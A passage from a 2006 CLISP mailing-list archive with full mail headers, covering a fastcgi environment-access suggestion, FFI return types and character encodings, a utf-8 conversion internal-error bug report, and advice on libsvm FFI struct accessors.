FILETIME=[F0A38D40:01C6E900] X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Cc: don-sourceforge-xx@isis.cs3-inc.com Subject: Re: [clisp-list] fastcgi suggestion - access to whole environment X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 06 Oct 2006 05:12:18 -0000 Don Cohen wrote: >There seems to be no interface in the fastcgi module to provide the >entire environment. There should be. Your suggestion is welcome. >Here's my minimal addition to provide it. >(def-call-out fcgi_env (:arguments) (:return-type=20 >(FFI:C-POINTER c-string))) How ugly. Doesn't the return-type perfectly match :return-type (c-array-ptr c-string) I.e. a NULL terminated array of strings? Of course, you must be careful about *ffi-encoding*. BTW, I was surprised that the fastcgi module does not provide streams for reading/writing the request. Do you think that would be useful? OTOH, with either strings or streams, there remains the problem with content encoding, binary output etc. Bivalent streams seem nice. Regards, Jorg Hohle. From don-sourceforge-xx@isis.cs3-inc.com Thu Oct 05 23:18:31 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1GVj2V-0007ew-RD for clisp-list@lists.sourceforge.net; Thu, 05 Oct 2006 23:18:31 -0700 Received: from h-66-166-0-98.lsanca54.covad.net ([66.166.0.98] helo=isis.cs3-inc.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1GVj2U-0004Te-Gw for clisp-list@lists.sourceforge.net; Thu, 05 Oct 2006 23:18:31 -0700 Received: by isis.cs3-inc.com (Postfix, from userid 501) id 244ED1A818F; Thu, 5 Oct 2006 23:18:34 -0700 (PDT) From: don-sourceforge-xx@isis.cs3-inc.com (Don Cohen) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <17701.62778.97056.944671@isis.cs3-inc.com> Date: Thu, 5 Oct 2006 23:18:34 -0700 To: "Hoehle, Joerg-Cyril" In-Reply-To: References: <17701.20470.529253.29774@isis.cs3-inc.com> X-Mailer: VM 7.07 under 21.4 (patch 8) "Honest Recruiter" XEmacs Lucid X-Spam-Score: 1.0 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 1.0 FORGED_RCVD_HELO Received: contains a forged HELO Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] fastcgi suggestion - access to whole environment X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 06 Oct 2006 06:18:32 -0000 Hoehle, Joerg-Cyril writes: > Don Cohen wrote: > >Here's my minimal addition to provide it. > >(def-call-out fcgi_env (:arguments) (:return-type > >(FFI:C-POINTER c-string))) > How ugly. Doesn't the return-type perfectly match > :return-type (c-array-ptr c-string) > I.e. a NULL terminated array of strings? I didn't realize that was different from c-pointer. I also didn't realize that either one meant null terminated. Perhaps your real point is that I could have used something like aref or element to access the items? That would be an improvement. > Of course, you must be careful about *ffi-encoding*. I don't even know what that is. What am I supposed to do about it? Translate the c-string into a lisp string? > BTW, I was surprised that the fastcgi module does not provide streams > for reading/writing the request. Do you think that would be useful? It would seem more natural in terms of writing lisp code. > OTOH, with either strings or streams, there remains the problem with > content encoding, binary output etc. Bivalent streams seem nice. You mean it doesn't solve every problem? What does? The fact that the IO is done in terms of some stuff I can't see I think is unfortunate. I prefer to leave the ffi stuff at the lowest possible level, first cause I'd rather write the translation to the higher level in lisp, second cause it lets me see how it works. At the moment I don't have a fastcgi interface to php and I might write my own if I could see from the lisp code how it's supposed to work. Anyhow, it's no surprise to me that my ffi code can be improved. I'd be more surprised if it could not. BTW, if anyone cares, I've now built 2.40 successfully on this: uname -a Linux amd64.cs3-inc.com 2.6.17-1.2142_FC4 #1 Tue Jul 11 22:41:06 EDT 2006 x86_64 x86_64 x86_64 GNU/Linux with fastcgi, of course. From Joerg-Cyril.Hoehle@t-systems.com Fri Oct 06 03:27:52 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1GVmvo-0003oO-3q for clisp-list@lists.sourceforge.net; Fri, 06 Oct 2006 03:27:52 -0700 Received: from tcmail33.telekom.de ([217.6.95.240]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1GVmvn-0003lB-F4 for clisp-list@lists.sourceforge.net; Fri, 06 Oct 2006 03:27:52 -0700 Received: from S4DE8PSAAGT.mitte.t-com.de by tcmail31.telekom.de with ESMTP; Fri, 6 Oct 2006 11:13:39 +0200 Received: from S4DE8PSAAFQ.mitte.t-com.de ([10.151.180.5]) by S4DE8PSAAGT.mitte.t-com.de with Microsoft SMTPSVC(6.0.3790.1830); Fri, 6 Oct 2006 11:13:39 +0200 Content-class: urn:content-classes:message MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: quoted-printable X-MimeOLE: Produced By Microsoft Exchange V6.5 Date: Fri, 6 Oct 2006 11:13:36 +0200 Message-Id: in-reply-to: <17701.62778.97056.944671@isis.cs3-inc.com> X-MS-Has-Attach: X-MS-TNEF-Correlator: Thread-Topic: [clisp-list] fastcgi suggestion - access to whole environment Thread-Index: AcbpD0MhPBsJCd91SRyQumkF7uEXBQAFiD5A From: "Hoehle, Joerg-Cyril" To: X-OriginalArrivalTime: 06 Oct 2006 09:13:39.0019 (UTC) FILETIME=[B5D3C9B0:01C6E927] X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Cc: don-sourceforge-xx@isis.cs3-inc.com Subject: Re: [clisp-list] fastcgi suggestion - access to whole environment X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 06 Oct 2006 10:27:52 -0000 > Don Cohen wrote: > > :return-type (c-array-ptr c-string) >I could have used something like aref or element to access the items? Indeed, using this return type yields a Lisp vector of Lisp strings. Use AREF, use (POSITION #\=3D #)) etc. > > Of course, you must be careful about *ffi-encoding*. >I don't even know what that is. You should not be unaware of encoding issues in the context of the web. >What am I supposed to do about it? >Translate the c-string into a lisp string? That's what the FFI already did for you at the time of call. The conversion is governed by *ffi-encoding* (or other custom:*foo-encoding* variables, depending on the function, e.g. OPEN etc.). Suppose you use an encoding like charset:ASCII with an error-action (cf. EXT:MAKE-ENCODING). Although AFAIK HTTP MIME headers are required to be ASCII, you have to prepare for the situation where it's not. Same for the fastcgi char **environ which contains AFAIK the URL path etc. An attempt to convert non-ASCII using such an encoding signals an error. How does your application react? > > OTOH, with either strings or streams, there remains the problem with > > content encoding, binary output etc. Bivalent streams seem nice. >You mean it doesn't solve every problem? What does? I had thought about implementing a stream for fastcgi output via EXT:MAKE-BUFFERED-OUTPUT-STREAM. It fits the bill for strings. However, when you want to output MIME-type application/octet-stream, what are you going to do? (hey, that's one real question, not rhetoric;) So far, your only solution with the existing module is to use a 1:1 encoding (i.e. charset:iso-8859-1, cf. appropriate section in Edi's cookbook on sourceforge) and handle the binary bytes as if they were characters. That does not sound like TRT. CLISP provides (SETF STREAM-ELEMENT-TYPE). Works with FILE- and SOCKET-STREAMS. Does not work with the MAKE-BUFFERED-OUTPUT-STREAM, which only supports CHARACTER element-type. I once thought about making that stream switchable as well, but there are a couple of hairy issues (about buffering & flushing, as usual) and not enough time. >At the moment I don't have a fastcgi interface to php I can't believe there isn't a ready-made module there! However, php people may refer to it as "accelerator", which I believe is very close if not the same thing: php remains in memory, as well as byte-compiled library code. Regards, Jorg Hohle. From don-sourceforge-xx@isis.cs3-inc.com Fri Oct 06 09:24:59 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1GVsVP-0005Pj-Jt for clisp-list@lists.sourceforge.net; Fri, 06 Oct 2006 09:24:59 -0700 Received: from h-66-166-0-98.lsanca54.covad.net ([66.166.0.98] helo=isis.cs3-inc.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1GVsVO-00036y-8q for clisp-list@lists.sourceforge.net; Fri, 06 Oct 2006 09:24:59 -0700 Received: by isis.cs3-inc.com (Postfix, from userid 501) id 967CE1A818F; Fri, 6 Oct 2006 09:25:01 -0700 (PDT) From: don-sourceforge-xx@isis.cs3-inc.com (Don Cohen) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <17702.33629.562920.752978@isis.cs3-inc.com> Date: Fri, 6 Oct 2006 09:25:01 -0700 To: "Hoehle, Joerg-Cyril" In-Reply-To: References: <17701.62778.97056.944671@isis.cs3-inc.com> X-Mailer: VM 7.07 under 21.4 (patch 8) "Honest Recruiter" XEmacs Lucid X-Spam-Score: 1.0 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 1.0 FORGED_RCVD_HELO Received: contains a forged HELO Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] fastcgi suggestion - access to whole environment X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 06 Oct 2006 16:25:00 -0000 Hoehle, Joerg-Cyril writes: > > Don Cohen wrote: > > > :return-type (c-array-ptr c-string) > >I could have used something like aref or element to access the items? > Indeed, using this return type yields a Lisp vector of Lisp strings. Use > AREF, use (POSITION #\= #)) etc. Is this the case that copies the array into a lisp array on every reference? I don't much like that. > > > Of course, you must be careful about *ffi-encoding*. > >I don't even know what that is. > You should not be unaware of encoding issues in the context of the web. I've been aware of clisp's character encoding mainly when it gives me errors about invalid characters. My solution has been to deal in bytes instead of characters. What I normally want is 256 characters with code 0-255. How do I get that? (There should be no errors in that case, right?) > > > OTOH, with either strings or streams, there remains the problem with > > > content encoding, binary output etc. Bivalent streams seem nice. > >You mean it doesn't solve every problem? What does? > I had thought about implementing a stream for fastcgi output via > EXT:MAKE-BUFFERED-OUTPUT-STREAM. It fits the bill for strings. If you could implement fastcgi entirely within clisp (no ffi) I would like that a lot better. I assume it's not difficult after you figure out what it's required to do. I imagine you'd then have a normal IO stream that you could manipulate as you like. > However, when you want to output MIME-type application/octet-stream, > what are you going to do? > (hey, that's one real question, not rhetoric;) Use bytes. That's what I do now. I do that also for input. But in these cases I'm just accepting content to store and return. I'm not trying to interpret it. > So far, your only solution with the existing module is to use a 1:1 > encoding (i.e. charset:iso-8859-1, cf. appropriate section in Edi's > cookbook on sourceforge) and handle the binary bytes as if they were > characters. That does not sound like TRT. (what's TRT?) > CLISP provides (SETF STREAM-ELEMENT-TYPE). Works with FILE- and > SOCKET-STREAMS. Does not work with the MAKE-BUFFERED-OUTPUT-STREAM, > which only supports CHARACTER element-type. I don't really know, but I supposed the fastcgi stream was a socket stream. > >At the moment I don't have a fastcgi interface to php > I can't believe there isn't a ready-made module there! > However, php people may refer to it as "accelerator", which I believe is > very close if not the same thing: php remains in memory, as well as > byte-compiled library code. I see no documentation on the php site although they claim it works and various people claim to use it. I've not been able to figure out how to do the accept operation. If you can show me that (and finish) I'll be in business. I think the standard approach is that php runs inside apache. I don't claim to understand this stuff yet. From sds@gnu.org Thu Oct 05 18:00:21 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1GVe4b-0006r3-QT for clisp-list@lists.sourceforge.net; Thu, 05 Oct 2006 18:00:21 -0700 Received: from mta4.srv.hcvlny.cv.net ([167.206.4.199]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1GVe4T-0000ip-P2 for clisp-list@lists.sourceforge.net; Thu, 05 Oct 2006 18:00:21 -0700 Received: from loiso.podval.org (ool-182f780f.dyn.optonline.net [24.47.120.15]) by mta4.srv.hcvlny.cv.net (Sun Java System Messaging Server 6.2-6.01 (built Apr 3 2006)) with ESMTP id <0J6O00IEPW1N4GB0@mta4.srv.hcvlny.cv.net> for clisp-list@lists.sourceforge.net; Thu, 05 Oct 2006 20:58:36 -0400 (EDT) Received: by loiso.podval.org (Postfix, from userid 500) id 6EF9321E097; Thu, 05 Oct 2006 20:58:35 -0400 (EDT) Date: Thu, 05 Oct 2006 20:58:35 -0400 From: Sam Steingold To: clisp-list@lists.sourceforge.net Mail-followup-to: clisp-list@lists.sourceforge.net, Joerg-Cyril.Hoehle@t-systems.com Message-id: MIME-version: 1.0 Content-type: text/plain Content-transfer-encoding: 7BIT Mail-Copies-To: never X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (gnu/linux) X-Spam-Score: 2.1 (++) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 1.0 FORGED_RCVD_HELO Received: contains a forged HELO 1.1 SUBJ_HAS_UNIQ_ID Subject contains a unique ID X-Mailman-Approved-At: Sat, 07 Oct 2006 15:32:49 -0700 Cc: Joerg-Cyril.Hoehle@t-systems.com Subject: [clisp-list] find-foreign-function & find-foreign-variable X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list Reply-To: clisp-list@lists.sourceforge.net List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 06 Oct 2006 01:00:22 -0000 please comment on the recent find-foreign-variable & find-foreign-function patch -- Sam Steingold (http://www.podval.org/~sds) on Fedora Core release 5 (Bordeaux) http://ffii.org http://thereligionofpeace.com http://honestreporting.com http://truepeace.org http://openvotingconsortium.org Lisp is a language for doing what you've been told is impossible. - Kent Pitman From pjb@informatimago.com Sat Oct 07 21:46:19 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1GWQYN-0006sh-8V for clisp-list@lists.sourceforge.net; Sat, 07 Oct 2006 21:46:19 -0700 Received: from thalassa.informatimago.com ([62.93.174.79] helo=larissa.informatimago.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1GWQYL-0008BD-B3 for clisp-list@lists.sourceforge.net; Sat, 07 Oct 2006 21:46:19 -0700 Received: by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386), from userid 501) id 11D54585E6; Sun, 8 Oct 2006 06:46:08 +0200 (CEST) Received: from thalassa.informatimago.com (thalassa.informatimago.com [62.93.174.79]) by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386)) with ESMTP id F286E585D4; Sun, 8 Oct 2006 06:46:02 +0200 (CEST) Received: by thalassa.informatimago.com (Postfix, from userid 1000) id BD9A512AD83; Sun, 8 Oct 2006 06:46:02 +0200 (CEST) From: Pascal Bourguignon To: Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&; A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA; v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8 Message-Id: <20061008044602.BD9A512AD83@thalassa.informatimago.com> Date: Sun, 8 Oct 2006 06:46:02 +0200 (CEST) X-Spam-Checker-Version: SpamAssassin 3.0.1 (2004-10-22) on larissa.informatimago.com X-Spam-Status: No, score=-5.9 required=5.0 tests=ALL_TRUSTED,BAYES_00, UPPERCASE_25_50 autolearn=ham version=3.0.1 X-Spam-Level: Content-Transfer-Encoding: quoted-printable X-Spam-Score: 0.2 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.2 UPPERCASE_25_50 message body is 25-50% uppercase Subject: [clisp-list] Internal error: statement in file "encoding.d", line 2805 has been reached! X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list Reply-To: pjb@informatimago.com List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 08 Oct 2006 04:46:19 -0000 [139]> (ext:convert-string-to-bytes (map 'string 'code-char (loop for i from 0 below 44100 collect (round (* 65536/2=20 (1+ (sin (* 441 (/ i 2 pi 44100))))= ))))=20 charset:utf-8) *** - Internal error: statement in file "encoding.d", line 2805 has been reached!! Please send the authors of the program a description how you produc= ed this error! The following restarts are available: ABORT :R1 ABORT Break 1 [140]> :a [143]> (print-bug-report-info) LISP-IMPLEMENTATION-TYPE "CLISP" LISP-IMPLEMENTATION-VERSION "2.39 (2006-07-16) (built 3364813332) (memor= y 3364813922)" SOFTWARE-TYPE =20 "gcc -g -O2 -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-typ= e -Wmissing-declarations -Wno-sign-compare -O2 -fexpensive-optimizations = -falign-functions=3D4 -DUNICODE -DDYNAMIC_FFI -I. -x none libcharset.a li= bavcall.a libcallback.a -lreadline -lncurses -ldl -lsigsegv -L/usr/X11R= 6/lib SAFETY=3D0 HEAPCODES LINUX_NOEXEC_HEAPCODES GENERATIONAL_GC SPVW_BLOCKS S= PVW_MIXED TRIVIALMAP_MEMORY libsigsegv 2.4 libreadline 4.3" SOFTWARE-VERSION "GNU C 3.3 20030226 (prerelease) (SuSE Linux= )" MACHINE-INSTANCE "thalassa.informatimago.com [62.93.174.79]" MACHINE-TYPE "I686" MACHINE-VERSION "I686" *FEATURES* =20 (:COM.INFORMATIMAGO.PJB :ASDF-INSTALL :SPLIT-SEQUENCE :ASDF :WILDCARD :RA= WSOCK :PCRE :CLX-ANSI-COMMON-LISP :CLX :ZLIB :READLINE :REGEXP :SYSCALLS :I18N= :LOOP :COMPILER :CLOS :MOP :CLISP :ANSI-CL :COMMON-LISP :LISP=3DCL :INTERPRETE= R :SOCKETS :GENERIC-STREAMS :LOGICAL-PATHNAMES :SCREEN :FFI :GETTEXT :UNIC= ODE :BASE-CHAR=3DCHARACTER :PC386 :UNIX) [144]>=20 --=20 __Pascal Bourguignon__ http://www.informatimago.com/ Wanna go outside. Oh, no! Help! I got outside! Let me back inside! From sds@gnu.org Sun Oct 08 17:30:34 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1GWj2Q-0002C5-81 for clisp-list@lists.sourceforge.net; Sun, 08 Oct 2006 17:30:34 -0700 Received: from mta8.srv.hcvlny.cv.net ([167.206.4.203]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1GWj2N-0004Rc-Op for clisp-list@lists.sourceforge.net; Sun, 08 Oct 2006 17:30:34 -0700 Received: from loiso.podval.org (ool-182f780f.dyn.optonline.net [24.47.120.15]) by mta8.srv.hcvlny.cv.net (Sun Java System Messaging Server 6.2-6.01 (built Apr 3 2006)) with ESMTP id <0J6U00IIPEMY6MI1@mta8.srv.hcvlny.cv.net> for clisp-list@lists.sourceforge.net; Sun, 08 Oct 2006 20:28:10 -0400 (EDT) Received: by loiso.podval.org (Postfix, from userid 500) id 846E921E097; Sun, 08 Oct 2006 20:30:02 -0400 (EDT) Date: Sun, 08 Oct 2006 20:30:02 -0400 From: Sam Steingold In-reply-to: <20061008044602.BD9A512AD83@thalassa.informatimago.com> To: clisp-list@lists.sourceforge.net, pjb@informatimago.com Mail-followup-to: clisp-list@lists.sourceforge.net, pjb@informatimago.com Message-id: MIME-version: 1.0 Content-type: text/plain Content-transfer-encoding: 7BIT Mail-Copies-To: never X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. References: <20061008044602.BD9A512AD83@thalassa.informatimago.com> User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (gnu/linux) X-Spam-Score: 1.2 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 1.0 FORGED_RCVD_HELO Received: contains a forged HELO 0.2 UPPERCASE_25_50 message body is 25-50% uppercase Subject: Re: [clisp-list] Internal error: statement in file "encoding.d", line 2805 has been reached! X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list Reply-To: clisp-list@lists.sourceforge.net List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 09 Oct 2006 00:30:34 -0000 > * Pascal Bourguignon [2006-10-08 06:46:02 +0200]: > > [139]> (ext:convert-string-to-bytes > (map 'string 'code-char > (loop for i from 0 below 44100 > collect (round (* 65536/2 > (1+ (sin (* 441 (/ i 2 pi 44100)))))))) > charset:utf-8) > > *** - Internal error: statement in file "encoding.d", line 2805 has been > reached!! > Please send the authors of the program a description how you produced > this error! > The following restarts are available: > ABORT :R1 ABORT > Break 1 [140]> :a > > > [143]> (print-bug-report-info) > > > LISP-IMPLEMENTATION-TYPE "CLISP" > LISP-IMPLEMENTATION-VERSION "2.39 (2006-07-16) (built 3364813332) (memory 3364813922)" > SOFTWARE-TYPE > "gcc -g -O2 -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type -Wmissing-declarations -Wno-sign-compare -O2 -fexpensive-optimizations -falign-functions=4 -DUNICODE -DDYNAMIC_FFI -I. -x none libcharset.a libavcall.a libcallback.a -lreadline -lncurses -ldl -lsigsegv -L/usr/X11R6/lib > SAFETY=0 HEAPCODES LINUX_NOEXEC_HEAPCODES GENERATIONAL_GC SPVW_BLOCKS SPVW_MIXED TRIVIALMAP_MEMORY > libsigsegv 2.4 > libreadline 4.3" > SOFTWARE-VERSION "GNU C 3.3 20030226 (prerelease) (SuSE Linux)" > MACHINE-INSTANCE "thalassa.informatimago.com [62.93.174.79]" > MACHINE-TYPE "I686" > MACHINE-VERSION "I686" > *FEATURES* > (:COM.INFORMATIMAGO.PJB :ASDF-INSTALL :SPLIT-SEQUENCE :ASDF :WILDCARD :RAWSOCK > :PCRE :CLX-ANSI-COMMON-LISP :CLX :ZLIB :READLINE :REGEXP :SYSCALLS :I18N :LOOP > :COMPILER :CLOS :MOP :CLISP :ANSI-CL :COMMON-LISP :LISP=CL :INTERPRETER > :SOCKETS :GENERIC-STREAMS :LOGICAL-PATHNAMES :SCREEN :FFI :GETTEXT :UNICODE > :BASE-CHAR=CHARACTER :PC386 :UNIX) thanks - may I ask you to file a SF bug report (as per http://clisp.sourceforge.net/impnotes/clisp.html#bugs)? it is easier to track issues this way. -- Sam Steingold (http://www.podval.org/~sds) on Fedora Core release 5 (Bordeaux) http://pmw.org.il http://mideasttruth.com http://memri.org http://palestinefacts.org http://dhimmi.com http://honestreporting.com Binaries die but source code lives forever. From Joerg-Cyril.Hoehle@t-systems.com Mon Oct 09 02:39:37 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1GWrbl-0006Ta-IT for clisp-list@lists.sourceforge.net; Mon, 09 Oct 2006 02:39:37 -0700 Received: from tcmail33.telekom.de ([217.6.95.240]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1GWrbi-0005nD-OT for clisp-list@lists.sourceforge.net; Mon, 09 Oct 2006 02:39:37 -0700 Received: from S4DE8PSAAGT.mitte.t-com.de by tcmail31.telekom.de with ESMTP for clisp-list@lists.sourceforge.net; Mon, 9 Oct 2006 10:56:43 +0200 Received: from S4DE8PSAAFQ.mitte.t-com.de ([10.151.180.5]) by S4DE8PSAAGT.mitte.t-com.de with Microsoft SMTPSVC(6.0.3790.1830); Mon, 9 Oct 2006 10:56:43 +0200 Content-class: urn:content-classes:message MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Date: Mon, 9 Oct 2006 10:56:41 +0200 Message-Id: X-MimeOLE: Produced By Microsoft Exchange V6.5 in-reply-to: <45265EF3.7040708@gnu.org> X-MS-Has-Attach: X-MS-TNEF-Correlator: Thread-Topic: ffi & libsvm feedback on module Thread-Index: AcbpTkwejDZ7IOTxShaaUg2EHmlkLgCKuNBg From: "Hoehle, Joerg-Cyril" To: X-OriginalArrivalTime: 09 Oct 2006 08:56:43.0539 (UTC) FILETIME=[D7CB1630:01C6EB80] X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: Re: [clisp-list] ffi & libsvm feedback on module X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 09 Oct 2006 09:39:37 -0000 Sam Steingold wrote: libsvm.lisp: (defun problem-l (problem) ;;FIXME: horribly inefficient (slot (foreign-value problem) 'l))) Why do you believe this to be horribly inefficient? Quite to the contrary, that's the fastest you can come up with, except = from a C level accessor function. Note that I already mentioned I consider (SLOT FOREIGN-VALUE abstraction = violation. Maybe that's confusing you and you believe the explicit = FOREIGN-VALUE will perform a full conversion? It won't. Source code = transformations are going on to turn that inside out into (foreign-value = (FFI::%SLOT problem 'l)). I forgot who observed and reported some time ago that C level accessors = are much faster than slot access. I didn't verify nor investigate it, = and it's still puzzling me as in both cases, the same conversion = functions are used. - foreign function call has the overhead of libavcall and parsing the = ff description. - slot access has the overhead of parsing the ff struct description, = first creating a # of the given type, then convert. = So each slot access produces garbage. >here is what I came up with: >(def-c-type node (c-struct list (index int) (value double-float))) >(def-c-type problem (c-struct list > (l int) ; number of records > (y (c-array-ptr double-float)) ; of length l (targets) > (x (c-array-ptr (c-array-ptr node))))); of length l (predictors) Good. However I wonder about the double indirection. Do you really have = arrays of arrays to struct node? >(defun problem-slots (problem) > (with-c-place (p problem) > (cast p '(c-struct list (l int) (y c-pointer) (x c-pointer))))) IMHO this does not add value to the modeling. It even introduces = problems that you run into a few lines below. >;; FIXME: make these accessors non-consing >(defun problem-l (problem) (first (problem-slots problem))) The previous version (above) was better IMHO. >(defun problem-y (problem) (second (problem-slots problem))) >(defun problem-x (problem) (third (problem-slots problem))) >(defun problem-list (problem) > (destructuring-bind (l y x) (problem-slots problem) > (list l (with-c-place (py y) (cast py `(c-array double-float ,l))) > (with-c-place (px x) (cast px `(c-array=20 >(c-array-ptr node) ,l)))))) >alas, problem-list does not work: >*** - FFI::%CAST: # is not of type > FOREIGN-VARIABLE Since you extract a C-POINTER in problem-slots, you can't CAST anymore. = You'd need the FOREIGN-VARIABLE constructor. But that's not ideal anyway IMHO. I'd merely suggest (defun problem-y (problem) (with-c-place (p problem) (cast (slot p 'y) `(c-ptr (c-array double-float ,(problem-l = problem)))))) If you want parse-c-type optimization, you'll need more explicit = dereferencing steps to eventually use (cast ... `(c-array double-float ,(problem-l problem))) since only that specific pattern is optimized away. Regards, J=F6rg. From Joerg-Cyril.Hoehle@t-systems.com Mon Oct 09 03:06:02 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1GWs1K-0000Dt-1R for clisp-list@lists.sourceforge.net; Mon, 09 Oct 2006 03:06:02 -0700 Received: from tcmail33.telekom.de ([217.6.95.240]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1GWs1I-0003Nl-An for clisp-list@lists.sourceforge.net; Mon, 09 Oct 2006 03:06:01 -0700 Received: from S4DE8PSAAGT.mitte.t-com.de by tcmail31.telekom.de with ESMTP; Mon, 9 Oct 2006 11:22:17 +0200 Received: from S4DE8PSAAFQ.mitte.t-com.de ([10.151.180.5]) by S4DE8PSAAGT.mitte.t-com.de with Microsoft SMTPSVC(6.0.3790.1830); Mon, 9 Oct 2006 11:22:17 +0200 Content-class: urn:content-classes:message MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: quoted-printable Date: Mon, 9 Oct 2006 11:22:15 +0200 Message-Id: X-MimeOLE: Produced By Microsoft Exchange V6.5 in-reply-to: <17702.33629.562920.752978@isis.cs3-inc.com> X-MS-Has-Attach: X-MS-TNEF-Correlator: Thread-Topic: [clisp-list] fastcgi suggestion - access to whole environment Thread-Index: AcbpY/p+aR+6yq1jTJ26PJFD/STkjgCHUmNw From: "Hoehle, 